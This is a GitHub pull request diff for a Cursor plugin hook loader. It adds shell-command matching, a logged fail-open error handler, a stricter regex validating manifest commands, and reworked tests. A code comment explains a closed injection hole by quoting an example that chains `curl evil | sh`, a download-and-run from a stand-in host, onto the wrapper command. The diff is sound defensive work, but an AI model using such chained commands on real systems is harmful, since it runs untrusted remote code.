Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 21 additions & 3 deletions .cursor-plugin/scripts/hooks-loader.ts
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ const PLUGINS_DIR = join(
* @see https://cursor.com/docs/hooks — `subagentStart`/`subagentStop` payloads carry
* `subagent_type`; Claude Code's `agent_type` does not exist in Cursor's contract.
*/
type CursorHookInput = HookInput & { subagent_type?: string };
type CursorHookInput = HookInput & { subagent_type?: string; command?: string };

async function main(): Promise<void> {
const hookType = process.argv[2];
Expand Down Expand Up @@ -56,6 +56,15 @@ async function main(): Promise<void> {

const toolName = input.tool_name ?? "";
const agentType = input.subagent_type ?? "";
// Shell events carry the command line at the payload root; `preToolUse` nests it
// under `tool_input`. Both feed the matcher target for beforeShellExecution /
// afterShellExecution (see matchTarget in plugin-scanner.ts).
const command =
typeof input.command === "string"
? input.command
: typeof input.tool_input?.command === "string"
? input.tool_input.command
: "";

// DEBUG: Log subagentStart/subagentStop payload
if (hookType === "subagentStart" || hookType === "subagentStop") {
Expand All @@ -71,7 +80,7 @@ async function main(): Promise<void> {

// Extract matching hooks. Cursor has no "notification" event (Claude Code-only),
// so that matcher branch in extractHooks is unreachable here — pass "" (dead arg).
const hooks = extractHooks(plugins, hookType, toolName, "", agentType);
const hooks = extractHooks(plugins, hookType, toolName, "", agentType, command);

// No matching hooks → exit early
if (hooks.length === 0) process.exit(0);
Expand All @@ -92,4 +101,13 @@ async function main(): Promise<void> {
if (stdout) console.log(stdout);
}

main().catch(() => process.exit(0));
// Fail-open on stdout — Cursor must never be blocked by a loader crash — but NEVER
// silent: a bare `catch(() => exit(0))` once turned a TypeError in the plugin scanner
// into a clean exit, so every hook of every plugin was dead while the install looked
// healthy. stderr is the one channel Cursor ignores for the decision yet surfaces in
// its Hooks output panel, which makes the failure visible without changing behaviour.
main().catch((err: unknown) => {
const detail = err instanceof Error ? (err.stack ?? err.message) : String(err);
console.error(`[fusengine] hooks-loader failed for "${process.argv[2] ?? "?"}": ${detail}`);
process.exit(0);
});
Original file line number Diff line number Diff line change
Expand Up @@ -5,11 +5,54 @@
// discoverHooksFiles moved to shared production util; re-exported for the test.
export { discoverHooksFiles } from "../utils/hooks-discovery";

export const HARNESS_MARKER = "node_modules/@fusengine/harness/dist/cli/bin.mjs hook cursor";
/**
* Forme imposée par la checklist de soumission Cursor : « All paths in manifest are
* relative and valid (no `..`, no absolute paths) ». Un manifeste ne peut donc PAS
* nommer le binaire harness ; il appelle `./scripts/hook.sh`, seul ou suivi
* d'arguments (scope, `--sound stop`, …), et c'est le wrapper qui résout le harness.
*
* Le token d'argument est restreint à `[\w.=/-]+` (pas de `\S+`) : `\S+` matchait
* aussi bien un token contenant `;`, `&&`, `||`, `` ` ``, `$(…)` ou une redirection
* dès lors qu'il était séparé du wrapper par un espace — ex. `./scripts/hook.sh &&
* curl evil | sh` passait la gate. Vérifié à l'exécution (bun -e) : verrouiller le
* charset ferme cette injection sans rejeter aucun des 21 manifestes réels.
* @see https://cursor.com/docs/reference/plugins — Submitting a plugin
*/
const WRAPPER_COMMAND = /^\.\/scripts\/hook\.sh(?:\s+[\w.=/-]+)*$/;

/** Chemin du wrapper, relatif à la racine du plugin. */
export const WRAPPER_RELATIVE_PATH = "scripts/hook.sh";

/** Marqueur du binaire harness — cherché dans le wrapper, jamais dans le manifeste. */
export const HARNESS_MARKER = "@fusengine/harness/dist/cli/bin.mjs";

/**
* Vraie quand le manifeste délègue au wrapper plutôt qu'à une commande ad hoc.
* @param command - Ligne `command` d'une entrée de hook.
* @returns `true` si elle appelle `./scripts/hook.sh`.
*/
export function isWrapperCommand(command: string): boolean {
return WRAPPER_COMMAND.test(command);
}

/** True when a command hook delegates to the harness binary (tolerates ` || true`, flags, scope). */
export function isHarnessCommand(command: string): boolean {
return command.startsWith("bun ") && command.includes(HARNESS_MARKER);
/**
* Vraie quand un `scripts/hook.sh` délègue réellement au harness.
* C'est la couche où « harness exclusif » est vérifiable : le wrapper résout
* `dist/cli/bin.mjs` et l'invoque en sous-commande `hook cursor`.
* @param source - Contenu du wrapper.
* @returns `true` si le harness y est bien invoqué.
*/
export function isHarnessWrapper(source: string): boolean {
return source.includes(HARNESS_MARKER) && /\bhook\s+cursor\b/.test(source);
}

/**
* Racine absolue du plugin, depuis `.../plugins/<name>/hooks/hooks.json`.
* @param filePath - Chemin du manifeste.
* @returns Le dossier du plugin.
*/
export function pluginRootOf(filePath: string): string {
return filePath.replace(/\/hooks\/hooks\.json$/, "");
}

/** Plugin name extracted from a `.../plugins/<name>/hooks/hooks.json` path. */
Expand Down
108 changes: 63 additions & 45 deletions .cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts
Original file line number Diff line number Diff line change
@@ -1,28 +1,31 @@
/**
* Anti-regression gate for the "harness exclusif" migration.
*
* Every `type: "command"` hook in every `plugins/<name>/hooks/hooks.json`
* must delegate to @fusengine/harness, resolved from the marketplace's own
* shared install under plugins/marketplaces/fusengine-plugins/plugins/
* node_modules (installDeps' node_modules — reused as-is, no separate
* per-user $HOME/.cursor/node_modules bootstrap anymore).
* Cursor plugin manifests are FLAT (`{ command, matcher?, type? }`) and their paths
* must be relative — the manifest can therefore never name the harness binary. The
* previous version of this gate looked for `block.hooks[]` (Claude Code's nested
* shape) and for a `bun …/@fusengine/harness/… hook cursor` command inside the
* manifest: on flat manifests the inner loop never ran, so the whole suite produced
* 22 assertions, none of them about a command. The invariant is checked at the two
* layers that actually carry it:
* 1. every command entry delegates to `./scripts/hook.sh` (relative, per Cursor's
* submission checklist);
* 2. that wrapper exists and invokes the harness binary.
* Native `type: "prompt"` hooks are allowed and left untouched.
* Pure helpers live in ./hooks-harness-exclusive.helpers (kept separate to
* respect the 100-line SOLID limit on this file).
* @see https://cursor.com/docs/reference/plugins — Hooks format / Submitting a plugin
*/
import { describe, expect, test } from "bun:test";
import { readFileSync } from "node:fs";
import { existsSync, readFileSync } from "node:fs";
import { join } from "node:path";
import {
WRAPPER_RELATIVE_PATH,
discoverHooksFiles,
isHarnessCommand,
isHarnessWrapper,
isWrapperCommand,
pluginNameOf,
pluginRootOf,
} from "./hooks-harness-exclusive.helpers";

/** Absolute prefix every harness command must resolve through post-migration. */
const MARKETPLACE_HARNESS_PATH =
"$HOME/.cursor/plugins/local/node_modules/@fusengine/harness";

const PLUGINS_DIR = join(__dirname, "../../../plugins");
const hooksFiles = discoverHooksFiles(PLUGINS_DIR);

Expand Down Expand Up @@ -50,45 +53,60 @@ describe("hooks-harness-exclusive (anti-regression gate)", () => {
expect(config).toBeDefined();
});

const events = config?.hooks ?? {};
const wrapper = join(pluginRootOf(filePath), WRAPPER_RELATIVE_PATH);

for (const [eventName, blocks] of Object.entries(events)) {
for (const [blockIdx, block] of (blocks as Array<Record<string, unknown>>).entries()) {
const hooks = (block.hooks as Array<Record<string, unknown>>) ?? [];
test(`${WRAPPER_RELATIVE_PATH} exists and invokes the harness binary`, () => {
if (!existsSync(wrapper)) {
throw new Error(`${pluginName}: missing wrapper ${WRAPPER_RELATIVE_PATH}`);
}
expect(isHarnessWrapper(readFileSync(wrapper, "utf-8"))).toBe(true);
});

for (const [hookIdx, hook] of hooks.entries()) {
const label = `${eventName}[${blockIdx}].hooks[${hookIdx}]`;
for (const [eventName, rawEntries] of Object.entries(config?.hooks ?? {})) {
// Guarded like the JSON.parse above: a manifest can carry a malformed
// event value (not an array) or a malformed entry (null/primitive).
// Both must fail a NAMED test, never throw here — a throw in this loop
// runs during describe collection and voids every test already queued
// for this plugin (verified empirically: bun:test reports 0 ran, not a
// failure, for the whole describe scope).
if (!Array.isArray(rawEntries)) {
test(`${eventName}: hook entries must be an array`, () => {
throw new Error(
`${pluginName} / ${eventName}: expected an array of hook entries, got ${typeof rawEntries}`,
);
});
continue;
}

if (hook.type === "prompt") continue; // native LLM hook, allowed as-is
for (const [idx, entry] of rawEntries.entries()) {
const label = `${eventName}[${idx}]`;

test(`${label}: type is "command"`, () => {
if (hook.type !== "command") {
throw new Error(
`${pluginName} / ${label}: unexpected hook type "${hook.type}" — only "command" and "prompt" are allowed`,
);
}
expect(hook.type).toBe("command");
if (entry === null || typeof entry !== "object") {
test(`${label}: must be an object`, () => {
throw new Error(`${pluginName} / ${label}: expected a hook entry object, got ${entry}`);
});
continue;
}

test(`${label}: command delegates to harness on the marketplace shared path`, () => {
const command = String(hook.command);
const harness = isHarnessCommand(command);
const record = entry as Record<string, unknown>;
if (record.type === "prompt") continue; // native LLM hook, allowed as-is

// No more per-user bootstrap: every command must resolve the
// harness binary straight from the marketplace's node_modules.
if (!harness) {
throw new Error(
`${pluginName} / ${label}: command does not delegate to harness: "${command}"`,
);
}
if (!command.includes(MARKETPLACE_HARNESS_PATH)) {
throw new Error(
`${pluginName} / ${label}: harness command not on marketplace shared path: "${command}"`,
);
}
expect(harness).toBe(true);
});
}
test(`${label}: delegates to ${WRAPPER_RELATIVE_PATH}`, () => {
if (record.type !== undefined && record.type !== "command") {
throw new Error(
`${pluginName} / ${label}: unexpected hook type "${record.type}" — only "command" and "prompt" are allowed`,
);
}
if (typeof record.command !== "string") {
throw new Error(`${pluginName} / ${label}: command hook carries no command`);
}
if (!isWrapperCommand(record.command)) {
throw new Error(
`${pluginName} / ${label}: does not delegate to the wrapper: "${record.command}"`,
);
}
expect(isWrapperCommand(record.command)).toBe(true);
});
}
}
});
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,15 +18,13 @@ describe("extractHooks — $HOME runtime resolution", () => {
hasHooks: true,
config: {
hooks: {
PreToolUse: [
{ hooks: [{ type: "command", command: "bun $HOME/.cursor/bin.mjs" }] },
],
preToolUse: [{ command: "bun $HOME/.cursor/bin.mjs" }],
},
},
},
];

const result = extractHooks(plugins, "PreToolUse", "", "");
const result = extractHooks(plugins, "preToolUse", "", "");

expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`);
expect(result[0].command).not.toContain("$HOME");
Expand All @@ -40,20 +38,16 @@ describe("extractHooks — $HOME runtime resolution", () => {
hasHooks: true,
config: {
hooks: {
PreToolUse: [
{
hooks: [
// biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax
{ type: "command", command: "bun ${HOME}/.cursor/bin.mjs" },
],
},
preToolUse: [
// biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax
{ command: "bun ${HOME}/.cursor/bin.mjs" },
],
},
},
},
];

const result = extractHooks(plugins, "PreToolUse", "", "");
const result = extractHooks(plugins, "preToolUse", "", "");

expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`);
expect(result[0].command).not.toContain("${HOME}");
Expand Down
106 changes: 106 additions & 0 deletions .cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
/**
* Tests for matcher filtering in extractHooks — per-event target selection.
* Split out of plugin-scanner.test.ts (file-size limit), mirroring the existing
* plugin-scanner-home-resolution.test.ts split convention.
*
* Fixtures use Cursor's FLAT entry shape (`{ command, matcher? }`), the only one a
* plugin `hooks.json` carries. They previously used Claude Code's nested
* `hooks: [{ type, command }]`, which kept this suite green against a shape the
* production never produces — while extractHooks crashed on every real manifest.
* @see https://cursor.com/docs/hooks — "Available matchers by hook"
*/
import { describe, expect, test } from "bun:test";
import { extractHooks } from "../services/plugin-scanner";

const TEST_DIR = "/tmp/fusengine-test-plugins-matcher";

/** Build a one-plugin fixture carrying a single event's entries. */
function fixture(event: string, entries: unknown[]) {
return [
{
name: "test-plugin",
path: TEST_DIR,
hasHooks: true,
config: { hooks: { [event]: entries } },
},
] as Parameters<typeof extractHooks>[0];
}

describe("extractHooks — matcher targets", () => {
test("filters by tool name on preToolUse", () => {
const plugins = fixture("preToolUse", [
{ matcher: "Write|Edit", command: "echo write-edit" },
{ matcher: "Shell", command: "echo shell" },
]);

expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(1);
expect(extractHooks(plugins, "preToolUse", "Edit", "")).toHaveLength(1);
expect(extractHooks(plugins, "preToolUse", "Shell", "")).toHaveLength(1);
expect(extractHooks(plugins, "preToolUse", "Read", "")).toHaveLength(0);
});

test("matches everything when no matcher is set", () => {
const plugins = fixture("preToolUse", [{ command: "echo all" }]);

expect(extractHooks(plugins, "preToolUse", "AnyTool", "")).toHaveLength(1);
});

test("beforeShellExecution matches the command line, not the tool name", () => {
const plugins = fixture("beforeShellExecution", [
{ matcher: "curl|wget", command: "echo net" },
]);

const hit = extractHooks(plugins, "beforeShellExecution", "", "", "", "curl https://x");
const miss = extractHooks(plugins, "beforeShellExecution", "", "", "", "ls -la");

expect(hit).toHaveLength(1);
expect(miss).toHaveLength(0);
});

test("beforeMCPExecution matches the synthesised MCP:<tool> form", () => {
const plugins = fixture("beforeMCPExecution", [
{ matcher: "MCP:(query-docs|web_search_exa)", command: "echo mcp" },
]);

// The MCP: prefix never appears in the raw tool_name — it is built per event.
expect(extractHooks(plugins, "beforeMCPExecution", "query-docs", "")).toHaveLength(1);
expect(extractHooks(plugins, "beforeMCPExecution", "resolve-library-id", "")).toHaveLength(0);
});

test("subagent events match the subagent type", () => {
const plugins = fixture("subagentStart", [
{ matcher: "explore|shell", command: "echo sub" },
]);

expect(extractHooks(plugins, "subagentStart", "", "", "explore")).toHaveLength(1);
expect(extractHooks(plugins, "subagentStart", "", "", "generalPurpose")).toHaveLength(0);
});

test("fixed-target events match their constant", () => {
const stop = fixture("stop", [{ matcher: "Stop", command: "echo stop" }]);
const submit = fixture("beforeSubmitPrompt", [
{ matcher: "UserPromptSubmit", command: "echo submit" },
]);

expect(extractHooks(stop, "stop", "", "")).toHaveLength(1);
expect(extractHooks(submit, "beforeSubmitPrompt", "", "")).toHaveLength(1);
});

test("skips a prompt entry — it carries no command to spawn", () => {
const plugins = fixture("stop", [
{ command: "echo real" },
{ type: "prompt", prompt: "Did the agent follow the workflow?", timeout: 15 },
]);

const result = extractHooks(plugins, "stop", "", "");

expect(result).toHaveLength(1);
expect(result[0].command).toBe("echo real");
});

test("an invalid regex matches nothing instead of throwing", () => {
const plugins = fixture("preToolUse", [{ matcher: "Write|(unclosed", command: "echo x" }]);

expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(0);
});
});
Loading
Loading